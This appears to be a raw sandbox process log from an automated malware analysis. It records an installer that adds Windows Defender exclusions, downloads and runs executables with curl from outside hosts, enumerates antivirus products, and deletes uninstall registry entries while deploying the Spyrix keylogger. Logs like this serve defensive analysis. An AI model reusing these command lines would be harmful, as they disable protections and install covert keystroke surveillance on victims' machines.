Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1912,i,17144999493896228581,15445594864361974383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\183942631522663"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	Process created: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp "C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp" /SL5="$30462,32862490,227328,C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe"
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\pswd.cmd
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\reg.exe "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1912,i,17144999493896228581,15445594864361974383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: dhcpcsvc.dll	Jump to behavior
